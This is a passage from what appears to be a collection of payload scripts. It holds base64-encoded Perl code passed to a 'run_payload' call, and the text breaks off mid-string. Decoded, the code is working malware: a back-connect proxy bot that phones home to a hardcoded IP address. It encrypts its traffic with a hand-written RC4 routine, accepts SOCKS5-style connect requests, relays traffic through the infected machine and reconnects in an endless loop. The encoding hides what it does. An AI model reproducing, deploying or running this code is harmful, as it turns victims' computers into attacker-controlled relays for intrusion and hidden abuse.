Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_58.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMjAwJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDM